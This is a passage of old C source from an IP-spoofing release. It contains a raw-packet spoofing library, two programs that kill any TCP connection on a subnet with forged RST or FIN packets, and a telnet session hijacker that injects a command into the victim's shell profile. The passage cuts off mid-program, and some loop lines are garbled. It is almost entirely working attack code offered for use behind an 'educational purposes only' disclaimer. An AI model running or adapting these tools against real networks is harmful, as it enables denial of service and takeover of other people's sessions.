/* Mind you use of this is very limited, if you are a novice on IO, just */
/* ignore it, the other functions are good enough!). If not, rewrite the */
/* handler for your own use... */
/* */
/* sig_atomic_t SP_DATA_BUSY */
/* Put this on NON-ZERO when accesing global data. Incoming */
/* packets will be ignored then, data can not be overwritten. */
/* */
/* unsigned long int CUR_SEQ, CUR_ACK; */
/* Last recorded SEQ and ACK number of the filtered "stream". */
/* Before accessing this data set SP_DATA_BUSY non-zero, */
/* afterward set it back to zero. */
/* */
/* unsigned long int CUR_COUNT; */
/* increased everytime other data is updated */
/* */
/* unsigned int CUR_DATALEN; */
/* Length of date in last TCP packet */
/* */
/**************************************************************************/
#include "sys/socket.h" /* includes, what would we do without them */
#include "netdb.h"
#include "stdlib.h"
#include "unistd.h"
#include "stdio.h"
#include "errno.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "linux/if.h"
#include "sys/ioctl.h"
#include "sys/types.h"
#include "signal.h"
#include "fcntl.h"
#undef DEBUG
#define IP_VERSION 4 /* keep y'r hands off... */
#define MTU 1500
#define IP_HEAD_BASE 20 /* using fixed lengths to send */
#define TCP_HEAD_BASE 20 /* no options etc... */
#define UDP_HEAD_BASE 8 /* Always fixed */
#define IO_HANDLE 1
#define IO_NONBLOCK 2
int DEV_PREFIX = 9999;
sig_atomic_t WAIT_PACKET_WAIT_TIME=0;
/**** IO_HANDLE ************************************************************/
int rc_fd_abc123;
sig_atomic_t RC_FILTSET=0;
char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */
sig_atomic_t SP_DATA_BUSY=0;
unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
unsigned int CUR_DATALEN;
unsigned short CUR_FLAGS;
/***************************************************************************/
struct sp_wait_packet
{
unsigned long seq,ack;
unsigned short flags;
int datalen;
};
/* Code from Sniffit - BTW my own program.... no copyright violation here */
#define URG 32 /* TCP flags */
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1
struct PACKET_info
{
int len, datalen;
unsigned long int seq_nr, ACK_nr;
u_char FLAGS;
};
struct IP_header /* The IPheader (without options) */
{
unsigned char verlen, type;
unsigned short length, ID, flag_offset;
unsigned char TTL, protocol;
unsigned short checksum;
unsigned long int source, destination;
};
struct TCP_header /* The TCP header (without options) */
{
unsigned short source, destination;
unsigned long int seq_nr, ACK_nr;
unsigned short offset_flag, window, checksum, urgent;
};
struct UDP_header /* The UDP header */
{
unsigned short source, destination;
unsigned short length, checksum;
};
struct pseudo_IP_header /* The pseudo IP header (checksum calc) */
{
unsigned long int source, destination;
char zero_byte, protocol;
unsigned short TCP_UDP_len;
};
/* data structure for argument passing */
struct sp_data_exchange {
int fd; /* Sh!t from transmit_TCP */
char *data;
int datalen;
char *source; unsigned short source_port;
char *dest; unsigned short dest_port;
unsigned long seq, ack;
unsigned short flags;
char *buffer; /* work buffer */
int IP_optlen; /* IP options length in bytes */
int TCP_optlen; /* TCP options length in bytes */
};
/**************** all functions *******************************************/
void transmit_TCP (int fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags);
void transmit_UDP (int sp_fd, char *sp_data,
int ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port);
int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);
static unsigned long sp_getaddrbyname(char *);
int open_sending (void);
int open_receiving (char *, char);
void close_receiving (void);
void sp_send_packet (struct sp_data_exchange *, unsigned char);
void sp_fix_TCP_packet (struct sp_data_exchange *);
void sp_fix_UDP_packet (struct sp_data_exchange *);
void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
unsigned short in_cksum(unsigned short *, int );
void rc_sigio (int);
void set_filter (char *, unsigned short, char *, unsigned short);
/********************* let the games commence ****************************/
static unsigned long sp_getaddrbyname(char *sp_name)
{
struct hostent *sp_he;
int i;
if(isdigit(*sp_name))
return inet_addr(sp_name);
for(i=0;i<100;i++)
{
if(!(sp_he = gethostbyname(sp_name)))
{printf("WARNING: gethostbyname failure!\n");
sleep(1);
if(i>=3) /* always a retry here in this kind of application */
printf("Coudn't resolv hostname."), exit(1);
}
else break;
}
return sp_he ? *(long*)*sp_he->h_addr_list : 0;
}
int open_sending (void)
{
struct protoent *sp_proto;
int sp_fd;
int dummy=1;
/* they don't come rawer */
if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
perror("Couldn't open Socket."), exit(1);
#ifdef DEBUG
printf("Raw socket ready\n");
#endif
return sp_fd;
}
void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
{
int sp_status;
struct sockaddr_in sp_server;
struct hostent *sp_help;
int HEAD_BASE;
/* Construction of destination */
bzero((char *)&sp_server, sizeof(struct sockaddr));
sp_server.sin_family = AF_INET;
sp_server.sin_addr.s_addr = inet_addr(sp->dest);
if (sp_server.sin_addr.s_addr == (unsigned int)-1)
{ /* if target not in DOT/number notation */
if (!(sp_help=gethostbyname(sp->dest)))
fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);
bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length);
};
switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};
sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0,
(struct sockaddr *)&sp_server,sizeof(struct sockaddr));
if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)
{
if (sp_status < 0)
perror("Sendto"), exit(1);
printf("hmm... Only transmitted %d of %d bytes.\n", sp_status,
sp->datalen+HEAD_BASE);
};
#ifdef DEBUG
printf("Packet transmitted...\n");
#endif
}
void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
{
struct IP_header *sp_help_ip;
int HEAD_BASE;
switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};
sp_help_ip = (struct IP_header *) (sp->buffer);
sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
sp_help_ip->type = 0;
sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);
sp_help_ip->ID = htons(12545); /* TEST */
sp_help_ip->flag_offset = 0;
sp_help_ip->TTL = 69;
sp_help_ip->protocol = proto;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination = sp_getaddrbyname(sp->dest);
sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer),
IP_HEAD_BASE+sp->IP_optlen);
#ifdef DEBUG
printf("IP header fixed...\n");
#endif
}
void sp_fix_TCP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct TCP_header *sp_help_tcp;
struct pseudo_IP_header *sp_help_pseudo;
int i;
for(i=0;ibuffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags);
sp_help_tcp->seq_nr = htonl(sp->seq);
sp_help_tcp->ACK_nr = htonl(sp->ack);
sp_help_tcp->source = htons(sp->source_port);
sp_help_tcp->destination = htons(sp->dest_port);
sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */
sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 6;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);
memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);
sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
#ifdef DEBUG
printf("TCP header fixed...\n");
#endif
}
void transmit_TCP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;
bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_tcpoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_tcpoptlen);
if (sp_datalen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);
sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.seq = sp_seq;
sp_struct.ack = sp_ack;
sp_struct.flags = sp_flags;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = sp_tcpoptlen;
sp_fix_TCP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 6);
sp_send_packet(&sp_struct, 6);
}
void sp_fix_UDP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct UDP_header *sp_help_udp;
struct pseudo_IP_header *sp_help_pseudo;
int i;
for(i=0;ibuffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
sp_help_udp->source = htons(sp->source_port);
sp_help_udp->destination = htons(sp->dest_port);
sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE);
sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 17;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);
memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+UDP_HEAD_BASE);
#ifdef DEBUG
printf("UDP header fixed...\n");
#endif
}
void transmit_UDP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;
bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_data!=NULL)
memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_datalen);
sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = 0;
sp_fix_UDP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 17);
sp_send_packet(&sp_struct, 17);
}
/* This routine stolen from ping.c -- HAHAHA!*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
/************************* Receiving department ****************************/
int open_receiving (char *rc_device, char mode)
{
int or_fd;
struct sigaction rc_sa;
int fcntl_flag;
struct ifreq ifinfo;
char test;
/* create snoop socket and set interface promisc */
if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
perror("Couldn't open Socket."), exit(1);
strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
perror("Couldn't get flags."), exit(1);
ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
perror("Couldn't set flags. (PROMISC)"), exit(1);
if(mode&IO_HANDLE)
{ /* install handler */
rc_sa.sa_handler=rc_sigio; /* we don't use signal() */
sigemptyset(&rc_sa.sa_mask); /* because the timing window is */
rc_sa.sa_flags=0; /* too big... */
sigaction(SIGIO,&rc_sa,NULL);
}
if(fcntl(or_fd,F_SETOWN,getpid())<0)
perror("Couldn't set ownership"), exit(1);
if(mode&IO_HANDLE)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
perror("Couldn't set FLAGS"), exit(1);
rc_fd_abc123=or_fd;
}
else
{
if(mode&IO_NONBLOCK)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
perror("Couldn't set FLAGS"), exit(1);
};
};
#ifdef DEBUG
printf("Reading socket ready\n");
#endif
return or_fd;
}
/* returns 0 when no packet read! */
int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto)
{
char help_buffer[MTU];
int pack_len;
struct IP_header *gp_IPhead;
pack_len = read(rc_fd,help_buffer,1500);
if(pack_len<0)
{
if(errno==EWOULDBLOCK)
{pack_len=0;}
else
{perror("Read error:"); exit(1);}
};
if(pack_len>0)
{
pack_len -= DEV_PREFIX;
memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
gp_IPhead = (struct IP_header *) buffer;
if(proto != NULL)
*proto = gp_IPhead->protocol;
if(TCP_UDP_start != NULL)
*TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
}
return pack_len;
}
void wait_packet_timeout (int sig)
{
alarm(0);
WAIT_PACKET_WAIT_TIME=1;
}
int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
char *wp_source, unsigned short wp_source_port,
char *wp_dest, unsigned short wp_dest_port, int wp_flags,
int wait_time)
{
char wp_buffer[1500];
struct IP_header *wp_iphead;
struct TCP_header *wp_tcphead;
unsigned long wp_sourcel, wp_destl;
int wp_tcpstart;
char wp_proto;
wp_sourcel=sp_getaddrbyname(wp_source);
wp_destl=sp_getaddrbyname(wp_dest);
WAIT_PACKET_WAIT_TIME=0;
if(wait_time!=0)
{
signal(SIGALRM,wait_packet_timeout);
alarm(wait_time);
}
while(1)
{
while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)
{
if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;}
};
if(wp_proto == 6)
{
wp_iphead= (struct IP_header *) wp_buffer;
wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )
{
if( (ntohs(wp_tcphead->source)==wp_source_port) &&
(ntohs(wp_tcphead->destination)==wp_dest_port) )
{
if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
{
ret_values->seq=ntohl(wp_tcphead->seq_nr);
ret_values->ack=ntohl(wp_tcphead->ACK_nr);
ret_values->flags=ntohs(wp_tcphead->offset_flag)&
(URG|ACK|PSH|FIN|RST|SYN);
ret_values->datalen = ntohs(wp_iphead->length) -
((wp_iphead->verlen & 0xF) << 2) -
((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);
alarm(0);
return 0;
}
}
}
}
}
/*impossible to get here.. but anyways*/
alarm(0); return -1;
}
void close_receiving (void)
{
close(rc_fd_abc123);
}
void rc_sigio (int sig) /* Packet handling routine */
{
char rc_buffer[1500];
char packet_id [50];
unsigned char *rc_so, *rc_dest;
struct IP_header *rc_IPhead;
struct TCP_header *rc_TCPhead;
int pack_len;
if(RC_FILTSET==0) return;
if(SP_DATA_BUSY!=0) /* skip this packet */
return;
pack_len = read(rc_fd_abc123,rc_buffer,1500);
rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
if(rc_IPhead->protocol!=6) return; /* if not TCP */
rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));
rc_so = (unsigned char *) &(rc_IPhead->source);
rc_dest = (unsigned char *) &(rc_IPhead->destination);
sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination));
if(strcmp(packet_id,rc_filter_string)==0)
{
SP_DATA_BUSY=1;
CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
CUR_DATALEN = ntohs(rc_IPhead->length) -
((rc_IPhead->verlen & 0xF) << 2) -
((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
CUR_COUNT++;
SP_DATA_BUSY=0;
}
}
void set_filter (char *f_source, unsigned short f_source_port,
char *f_dest, unsigned short f_dest_port)
{
unsigned char *f_so, *f_des;
unsigned long f_sol, f_destl;
RC_FILTSET=0;
if(DEV_PREFIX==9999)
fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
f_sol = sp_getaddrbyname(f_source);
f_destl = sp_getaddrbyname(f_dest);
f_so = (unsigned char *) &f_sol;
f_des = (unsigned char *) &f_destl;
sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
RC_FILTSET=1;
}
�������������������������������������������������������������������������������
---=[ sniper-rst.c ]=---------------------------------------------------------
/**************************************************************************/
/* Sniper-rst - Example program on connection killing with IP spoofing */
/* Using the RST flag. */
/* (illustration for 'A short overview of IP spoofing') */
/* */
/* Purpose - Killing any TCP connection on your subnet */
/* */
/* Author - Dr_Sp00f (Himself) */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t >/dev/null */
/* */
/* Disclaimer - This program is for educational purposes only. I am in */
/* NO way responsible for what you do with this program, */
/* or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* ETHERNET support ("eth0" device) */
/* If you network configuration differs it shouldn't be to */
/* hard to modify yourself. I got it working on PPP too, */
/* but I'm not including extra configuration possibilities */
/* because this would overload this first release that is */
/* only a demonstration of the mechanism. */
/* Anyway if you only have ONE network device (slip, */
/* ppp,... ) after a quick look at this code and spoofit.h */
/* it will only take you a few secs to fix it... */
/* People with a bit of C knowledge and well known with */
/* their OS shouldn't have to much trouble to port the code.*/
/* If you do, I would love to get the results. */
/* */
/* Compiling - gcc -o sniper-rst sniper-rst.c */
/* */
/* Usage - Usage described in the spoofing article that came with this. */
/* If you didn't get this, try to get the full release... */
/* */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/
#include "spoofit.h"
/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "eth0"
#define INTERFACE_PREFIX 14
char SOURCE[100],DEST[100];
int SOURCE_P,DEST_P;
void main(int argc, char *argv[])
{
int i,stat,j;
int fd_send, fd_receive;
unsigned long sp_ack, sp_seq;
unsigned short flags;
struct sp_wait_packet pinfo;
if(argc != 5)
{
printf("usage: %s host1 port1 host2 port2\n",argv[0]);
exit(0);
}
/* preparing some work */
DEV_PREFIX = INTERFACE_PREFIX;
strcpy(SOURCE,argv[1]);
SOURCE_P=atoi(argv[2]);
strcpy(DEST,argv[3]);
DEST_P=atoi(argv[4]);
/* opening sending and receiving sockets */
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */
printf("Trying to terminate the connection\n");
for(i=1;i<=100;i++)
{
/* Waiting for a packet containing an ACK */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5);
if(stat==-1) {printf("Connection 5 secs idle or dead...\n");exit(1);}
sp_seq=pinfo.ack;
sp_ack=0;
j=0;
/* Sending our fake Packet */
/* for(j=0;j<10;j++) This would be better */
/* { */
transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
sp_seq+j,sp_ack,RST);
/* } */
/* waiting for confirmation */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5);
if(stat<0)
{
printf("Connection 5 secs idle or dead...\n");
exit(0);
}
}
printf("I did not succeed in killing it.\n");
}
�������������������������������������������������������������������������������
---=[ sniper-fin.c ]=---------------------------------------------------------
/**************************************************************************/
/* Sniper-fin - Example program on connection killing with IP spoofing */
/* using the FIN flag. */
/* (illustration for 'A short overview of IP spoofing') */
/* */
/* Purpose - Killing any TCP connection on your subnet */
/* */
/* Author - Dr_Sp00f (Himself) */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t >/dev/null */
/* */
/* Disclaimer - This program is for educational purposes only. I am in */
/* NO way responsible for what you do with this program, */
/* or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* ETHERNET support ("eth0" device) */
/* If you network configuration differs it shouldn't be to */
/* hard to modify yourself. I got it working on PPP too, */
/* but I'm not including extra configuration possibilities */
/* because this would overload this first release that is */
/* only a demonstration of the mechanism. */
/* Anyway if you only have ONE network device (slip, */
/* ppp,... ) after a quick look at this code and spoofit.h */
/* it will only take you a few secs to fix it... */
/* People with a bit of C knowledge and well known with */
/* their OS shouldn't have to much trouble to port the code.*/
/* If you do, I would love to get the results. */
/* */
/* Compiling - gcc -o sniper-fin sniper-fin.c */
/* */
/* Usage - Usage described in the spoofing article that came with this. */
/* If you didn't get this, try to get the full release... */
/* */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/
#include "spoofit.h"
/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "eth0"
#define INTERFACE_PREFIX 14
char SOURCE[100],DEST[100];
int SOURCE_P,DEST_P;
void main(int argc, char *argv[])
{
int i,stat;
int fd_send, fd_receive;
unsigned long sp_ack, sp_seq;
unsigned short flags;
struct sp_wait_packet pinfo;
if(argc != 5)
{
printf("usage: %s host1 port1 host2 port2\n",argv[0]);
exit(0);
}
/* preparing some work */
DEV_PREFIX = INTERFACE_PREFIX;
strcpy(SOURCE,argv[1]);
SOURCE_P=atoi(argv[2]);
strcpy(DEST,argv[3]);
DEST_P=atoi(argv[4]);
/* opening sending and receiving sockets */
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */
for(i=1;i<100;i++)
{
printf("Attack Sequence %d.\n",i);
/* Waiting for a packet containing an ACK */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}
sp_seq=pinfo.ack;
sp_ack=pinfo.seq+pinfo.datalen;
/* Sending our fake Packet */
transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN);
/* waiting for confirmation */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
if(stat>=0)
{
printf("Killed the connection...\n");
exit(0);
}
printf("Hmmmm.... no response detected... (retry)\n");
}
printf("I did not succeed in killing it.\n");
}
�������������������������������������������������������������������������������
---=[ hijack.c ]=-------------------------------------------------------------
/**************************************************************************/
/* Hijack - Example program on connection hijacking with IP spoofing */
/* (illustration for 'A short overview of IP spoofing') */
/* */
/* Purpose - taking control of a running telnet session, and executing */
/* our own command in that shell. */
/* */
/* Author - Dr_Sp00f (Himself) */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t >/dev/null */
/* */
/* Disclaimer - This program is for educational purposes only. I am in */
/* NO way responsible for what you do with this program, */
/* or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* ETHERNET support ("eth0" device) */
/* If you network configuration differs it shouldn't be to */
/* hard to modify yourself. I got it working on PPP too, */
/* but I'm not including extra configuration possibilities */
/* because this would overload this first release that is */
/* only a demonstration of the mechanism. */
/* Anyway if you only have ONE network device (slip, */
/* ppp,... ) after a quick look at this code and spoofit.h */
/* it will only take you a few secs to fix it... */
/* People with a bit of C knowledge and well known with */
/* their OS shouldn't have to much trouble to port the code.*/
/* If you do, I would love to get the results. */
/* */
/* Compiling - gcc -o hijack hijack.c */
/* */
/* Usage - Usage described in the spoofing article that came with this. */
/* If you didn't get this, try to get the full release... */
/* */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/
#include "spoofit.h" /* My spoofing include.... read licence on this */
/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "eth0" /* first ethernet device */
#define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */
#define PERSONAL_TOUCH 666
int fd_receive, fd_send;
char CLIENT[100],SERVER[100];
int CLIENT_P;
void main(int argc, char *argv[])
{
int i,j,count;
struct sp_wait_packet attack_info;
unsigned long sp_seq ,sp_ack;
unsigned long old_seq ,old_ack;
unsigned long serv_seq ,serv_ack;
/* This data used to clean up the shell line */
char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a};
char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n";
if(argc!=4)
{
printf("Usage: %s client client_port server\n",argv[0]);
exit(1);
}
strcpy(CLIENT,argv[1]);
CLIENT_P=atoi(argv[2]);
strcpy(SERVER,argv[3]);
/* preparing all necessary sockets (sending + receiving) */
DEV_PREFIX = INTERFACE_PREFIX;
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */
printf("Starting Hijacking demo - Brecht Claerhout 1996\n");
printf("-----------------------------------------------\n");
for(j=0;j<50;j++)
{
printf("\nTakeover phase 1: Stealing connection.\n");
wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
sp_seq=attack_info.seq+attack_info.datalen;
sp_ack=attack_info.ack;
printf(" Sending Spoofed clean-up data...\n");
transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,
sp_seq,sp_ack,ACK|PSH);
/* NOTE: always beware you receive y'r OWN spoofed packs! */
/* so handle it if necessary */
count=0;
printf(" Waiting for spoof to be confirmed...\n");
while(count<5)
{
wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==sp_seq+sizeof(to_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 1 unsuccesfully ended.\n");}
else {printf("Phase 1 ended.\n"); break;};
};
printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
count=serv_seq=old_ack=0;
while(count<10)
{
old_seq=serv_seq;
old_ack=serv_ack;
wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0);
if(attack_info.datalen==0)
{
serv_seq=attack_info.seq+attack_info.datalen;
serv_ack=attack_info.ack;
if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
count=PERSONAL_TOUCH;
else count++;
}
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 2 unsuccesfully ended.\n"); exit(0);}
printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack);
printf("Phase 2 ended.\n");
printf("\nTakeover phase 3: Sending MY data.\n");
printf(" Sending evil data.\n");
transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
SERVER,23,serv_ack,serv_seq,ACK|PSH);
count=0;
printf(" Waiting for evil data to be confirmed...\n");
while(count<5)
{
wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==serv_ack+sizeof(evil_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
